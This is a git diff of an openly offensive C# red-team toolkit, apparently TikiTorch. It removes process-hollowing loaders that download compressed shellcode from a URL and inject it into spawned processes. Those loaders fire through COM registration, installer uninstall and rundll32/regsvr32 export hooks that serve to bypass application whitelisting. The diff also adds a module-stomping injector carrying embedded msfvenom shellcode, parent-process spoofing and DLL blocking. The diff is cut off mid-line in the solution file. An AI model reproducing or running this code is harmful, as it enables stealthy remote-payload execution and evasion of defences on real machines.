- - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiSpawn/Program.cs b/TikiSpawn/Program.cs index 090e9c9..09933b5 100644 --- a/TikiSpawn/Program.cs +++ b/TikiSpawn/Program.cs @@ -1,62 +1,49 @@ -using System; -using System.Net; -using System.Diagnostics; -using System.Runtime.InteropServices; +using System.Diagnostics; using TikiLoader; -[ComVisible(true)] -public class TikiSpawn +namespace TikiSpawn { - - public TikiSpawn() + internal static class Program { - Flame(@"", @""); - } - - private static byte[] GetShellcode(string url) - { - WebClient client = new WebClient(); - client.Proxy = WebRequest.GetSystemWebProxy(); - client.Proxy.Credentials = CredentialCache.DefaultCredentials; - string compressedEncodedShellcode = client.DownloadString(url); - return Generic.DecompressShellcode(Convert.FromBase64String(compressedEncodedShellcode)); - } - - private static int FindProcessPid(string process) - { - int pid = 0; - int session = Process.GetCurrentProcess().SessionId; - Process[] processes = Process.GetProcessesByName(process); - - foreach (Process proc in processes) + // $ msfvenom -p windows/x64/messagebox -f csharp + private static byte[] _shellcode = { - if (proc.SessionId == session) + 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, + 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, + 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, + 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, + 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, + 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, + 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, + 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, + 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, + 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, + 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, + 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, + 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, + 0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c, + 0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d, + 0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 + }; + + private static void Main(string[] args) + { + var stomper = new Stomper { - pid = proc.Id; - } - } - - return pid; - } - - private void Flame(string binary, string url) - { - byte[] shellcode = GetShellcode(url); - int ppid = FindProcessPid("explorer"); - - if (ppid != 0) - { - try - { - var hollower = new Hollower(); - hollower.Hollow(binary, shellcode, ppid); - } - catch { } - } - else - { - Environment.Exit(1); + BinaryPath = @"C:\Windows\System32\notepad.exe", + WorkingDirectory = @"C:\Windows\System32", + ModuleName = "xpsservices.dll", + ExportName = "DllCanUnloadNow", + ParentId = Process.GetProcessesByName("explorer")[0].Id, + BlockDlls = true + }; + + stomper.Stomp(_shellcode); } } } \ No newline at end of file diff --git a/TikiSpawn/Properties/AssemblyInfo.cs b/TikiSpawn/Properties/AssemblyInfo.cs index f3d4024..abf16b3 100644 --- a/TikiSpawn/Properties/AssemblyInfo.cs +++ b/TikiSpawn/Properties/AssemblyInfo.cs @@ -1,36 +1,35 @@ using System.Reflection; -using System.Runtime.CompilerServices; using System.Runtime.InteropServices; -// General Information about an assembly is controlled through the following +// General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. -[assembly: AssemblyTitle("TikiScript")] +[assembly: AssemblyTitle("TikiSpawn")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiScript")] -[assembly: AssemblyCopyright("Copyright © 2019")] +[assembly: AssemblyProduct("TikiSpawn")] +[assembly: AssemblyCopyright("Copyright © 2021")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("2ef9d8f7-6b77-4b75-822b-6a53a922c30f")] +[assembly: Guid("50FFBFAD-6B98-493D-B93B-2E252FC1EF9C")] // Version information for an assembly consists of the following four values: // // Major Version -// Minor Version +// Minor Version // Build Number // Revision // -// You can specify all the values or you can default the Build and Revision Numbers +// You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] \ No newline at end of file diff --git a/TikiSpawn/TikiSpawn.csproj b/TikiSpawn/TikiSpawn.csproj index 89d921e..4de8948 100644 --- a/TikiSpawn/TikiSpawn.csproj +++ b/TikiSpawn/TikiSpawn.csproj @@ -1,79 +1,62 @@  - - - - - Debug - AnyCPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F} - Library - TikiSpawn - TikiSpawn - v4.5 - 512 - true - - - - - AnyCPU - true - full - true - bin\Debug\ - - - prompt - 4 - false - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - + + - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + Debug + AnyCPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C} + Exe + Properties + TikiSpawn + TikiSpawn + v4.8 + 512 + 10 - - - - \ No newline at end of file + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + + + + + + + + + + + + {806c6c72-4adc-43d9-b028-6872fa48d334} + TikiLoader + + + + + + diff --git a/TikiSpawn/packages.config b/TikiSpawn/packages.config deleted file mode 100644 index b1a4280..0000000 --- a/TikiSpawn/packages.config +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/TikiSpawnAs/App.config b/TikiSpawnAs/App.config deleted file mode 100644 index 8e15646..0000000 --- a/TikiSpawnAs/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiSpawnAs/FodyWeavers.xml b/TikiSpawnAs/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiSpawnAs/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiSpawnAs/FodyWeavers.xsd b/TikiSpawnAs/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiSpawnAs/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiSpawnAs/Program.cs b/TikiSpawnAs/Program.cs deleted file mode 100644 index 73e2449..0000000 --- a/TikiSpawnAs/Program.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using NDesk.Options; - -using TikiLoader; - -namespace TikiSpawnAs -{ - class Program - { - static void Main(string[] args) - { - string binary = null; - string domain = null; - string username = null; - string password = null; - bool help = false; - - byte[] shellcode = Generic.DecompressShellcode(Convert.FromBase64String("")); - - var options = new OptionSet() - { - { "d|domain=", "Domain (defaults to local machine)", v => domain = v }, - { "u|username=", "Username", v => username = v }, - { "p|password=", "Password", v => password = v }, - { "b|binary=", "Binary to spawn & inject", v => binary = v }, - { "h|?|help", "Show this help", v => help = true } - }; - - try - { - options.Parse(args); - - if (help || username == null || password == null || binary == null) - { - options.WriteOptionDescriptions(Console.Out); - return; - } - else - { - if (domain == null) - domain = "."; - - var hollower = new Hollower(); - hollower.HollowAs(binary, shellcode, domain, username, password); - } - } - catch (Exception e) - { - Console.WriteLine(" [x] {0}", e.Message); - } - } - } -} \ No newline at end of file diff --git a/TikiSpawnAs/Properties/AssemblyInfo.cs b/TikiSpawnAs/Properties/AssemblyInfo.cs deleted file mode 100644 index cb1d81b..0000000 --- a/TikiSpawnAs/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiSpawnAs")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiSpawnAs")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("97421325-b6d8-49e5-adf0-e2126abc17ee")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiSpawnAs/TikiSpawnAs.csproj b/TikiSpawnAs/TikiSpawnAs.csproj deleted file mode 100644 index 73d254e..0000000 --- a/TikiSpawnAs/TikiSpawnAs.csproj +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - Debug - AnyCPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE} - Exe - TikiSpawnAs - TikiSpawnAs - v4.5 - 512 - true - - - - - AnyCPU - true - full - true - bin\Debug\ - - - prompt - 4 - false - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - \ No newline at end of file diff --git a/TikiSpawnAs/packages.config b/TikiSpawnAs/packages.config deleted file mode 100644 index c2bf608..0000000 --- a/TikiSpawnAs/packages.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/App.config b/TikiSpawnElevated/App.config deleted file mode 100644 index 8e15646..0000000 --- a/TikiSpawnElevated/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/FodyWeavers.xml b/TikiSpawnElevated/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiSpawnElevated/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/FodyWeavers.xsd b/TikiSpawnElevated/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiSpawnElevated/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/Program.cs b/TikiSpawnElevated/Program.cs deleted file mode 100644 index d769b36..0000000 --- a/TikiSpawnElevated/Program.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using System.Threading; - -using NDesk.Options; -using TikiLoader; - -namespace TikiSpawnAsAdmin -{ - class Program - { - static void Main(string[] args) - { - string binary = null; - int elevatedPid = 0; - bool help = false; - - byte[] shellcode = Generic.DecompressShellcode(Convert.FromBase64String("")); - - var options = new OptionSet() - { - { "b|binary=", "Binary to spawn & inject", v => binary = v }, - { "p|pid=", "Elevated PID to impersonate (optional)", v => elevatedPid = int.Parse(v) }, - { "h|?|help", "Show this help", v => help = true } - }; - - try - { - options.Parse(args); - - if (help || binary == null) - { - options.WriteOptionDescriptions(Console.Out); - return; - } - else - { - var hollower = new Hollower(); - hollower.HollowElevated(binary, shellcode, elevatedPid); - //while (true) - //{ - // Thread.Sleep(1000); - //} - } - - } - catch (Exception e) - { - Console.WriteLine(" [x] {0}", e.Message); - } - } - } -} \ No newline at end of file diff --git a/TikiSpawnElevated/Properties/AssemblyInfo.cs b/TikiSpawnElevated/Properties/AssemblyInfo.cs deleted file mode 100644 index f989d8b..0000000 --- a/TikiSpawnElevated/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiSpawnAsAdmin")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiSpawnAsAdmin")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("1f707405-9708-4a34-a809-2c62b84d4f0a")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiSpawnElevated/TikiSpawnElevated.csproj b/TikiSpawnElevated/TikiSpawnElevated.csproj deleted file mode 100644 index 42d4f43..0000000 --- a/TikiSpawnElevated/TikiSpawnElevated.csproj +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - Debug - AnyCPU - {1F707405-9708-4A34-A809-2C62B84D4F0A} - Exe - TikiSpawnElevated - TikiSpawnElevated - v4.5 - 512 - true - - - - - AnyCPU - true - full - true - bin\Debug\ - - - prompt - 4 - false - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - ..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - \ No newline at end of file diff --git a/TikiSpawnElevated/packages.config b/TikiSpawnElevated/packages.config deleted file mode 100644 index c2bf608..0000000 --- a/TikiSpawnElevated/packages.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiThings/FodyWeavers.xml b/TikiThings/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiThings/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiThings/FodyWeavers.xsd b/TikiThings/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiThings/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiThings/Program.cs b/TikiThings/Program.cs deleted file mode 100644 index feacfeb..0000000 --- a/TikiThings/Program.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using System.Net; -using System.Diagnostics; -using System.Windows.Forms; -using System.EnterpriseServices; -using System.Runtime.InteropServices; - -using RGiesecke.DllExport; -using TikiLoader; - -[assembly: ApplicationActivation(ActivationOption.Server)] -[assembly: ApplicationAccessControl(false)] - -public class TikiThings -{ - private static byte[] GetShellcode(string url) - { - WebClient client = new WebClient(); - client.Proxy = WebRequest.GetSystemWebProxy(); - client.Proxy.Credentials = CredentialCache.DefaultCredentials; - string compressedEncodedShellcode = client.DownloadString(url); - return Generic.DecompressShellcode(Convert.FromBase64String(compressedEncodedShellcode)); - } - - private static int FindProcessPid(string process) - { - int pid = 0; - - int session = Process.GetCurrentProcess().SessionId; - - Process[] processes = Process.GetProcessesByName(process); - - foreach (Process proc in processes) - { - if (proc.SessionId == session) - { - pid = proc.Id; - } - } - - return pid; - } - - public static void Flame() - { - string binary = @""; - string url = @""; - - byte[] shellcode = GetShellcode(url); - int ppid = FindProcessPid("explorer"); - - if (ppid != 0) - { - try - { - var hollower = new Hollower(); - hollower.Hollow(binary, shellcode, ppid); - } - catch (Exception e) - { - Console.WriteLine(" [x] {0}", e.Message); - } - } - else - { - Environment.Exit(1); - } - } - - public static void ExecParam(string a) - { - MessageBox.Show(a); - Flame(); - } -} - -[System.ComponentModel.RunInstaller(true)] -public class TikiThing : System.Configuration.Install.Installer -{ - public override void Uninstall(System.Collections.IDictionary savedState) - { - TikiThings.Flame(); - } -} - -[ComVisible(true)] -[Guid("31D2B969-7608-426E-9D8E-A09FC9A51680")] -[ClassInterface(ClassInterfaceType.None)] -[ProgId("dllguest.Bypass")] -[Transaction(TransactionOption.Required)] -public class Bypass : ServicedComponent -{ - public Bypass() { Console.WriteLine("TikiTorch!"); } - - [ComRegisterFunction] - public static void RegisterClass(string key) - { - TikiThings.Flame(); - } - - [ComUnregisterFunction] - public static void UnRegisterClass(string key) - { - TikiThings.Flame(); - } - - public void Exec() { TikiThings.Flame(); } -} - -class Exports -{ - - [DllExport("EntryPoint", CallingConvention = CallingConvention.StdCall)] - public static void EntryPoint(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow) - { - TikiThings.Flame(); - } - - [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] - public static bool DllRegisterServer() - { - TikiThings.Flame(); - return true; - } - - [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] - public static bool DllUnregisterServer() - { - TikiThings.Flame(); - return true; - } - - [DllExport("DllInstall", CallingConvention = CallingConvention.StdCall)] - public static void DllInstall(bool bInstall, IntPtr a) - { - string b = Marshal.PtrToStringUni(a); - TikiThings.ExecParam(b); - } -} \ No newline at end of file diff --git a/TikiThings/Properties/AssemblyInfo.cs b/TikiThings/Properties/AssemblyInfo.cs deleted file mode 100644 index 10a8dcd..0000000 --- a/TikiThings/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiDLL")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiDLL")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("06c247da-e2e1-47f3-bc3c-da0838a6df1f")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiThings/TikiThings.csproj b/TikiThings/TikiThings.csproj deleted file mode 100644 index f5d8ae6..0000000 --- a/TikiThings/TikiThings.csproj +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - Debug - AnyCPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F} - Library - Properties - TikiThings - TikiThings - v4.5 - 512 - true - - - - - true - full - false - bin\Debug\ - - - prompt - 4 - x64 - - - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - ..\packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll - False - - - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - - \ No newline at end of file diff --git a/TikiThings/packages.config b/TikiThings/packages.config deleted file mode 100644 index 270475c..0000000 --- a/TikiThings/packages.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiTorch.sln b/TikiTorch.sln index b7898b4..a18e9ce 100644 --- a/TikiTorch.sln +++ b/TikiTorch.sln @@ -3,21 +3,9 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.29001.49 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawnAs", "TikiSpawnAs\TikiSpawnAs.csproj", "{97421325-B6D8-49E5-ADF0-E2126ABC17EE}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawnElevated", "TikiSpawnElevated\TikiSpawnElevated.csproj", "{1F707405-9708-4A34-A809-2C62B84D4F0A}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawn", "TikiSpawn\TikiSpawn.csproj", "{2EF9D8F7-6B77-4B75-822B-6A53A922C30F}" -EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiLoader", "TikiLoader\TikiLoader.csproj", "{806C6C72-4ADC-43D9-B028-6872FA48D334}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiCpl", "TikiCpl\TikiCpl.csproj", "{40C4388B-769D-4170-8DB1-C659AE8F45C9}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiThings", "TikiThings\TikiThings.csproj", "{06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiVader", "TikiVader\TikiVader.csproj", 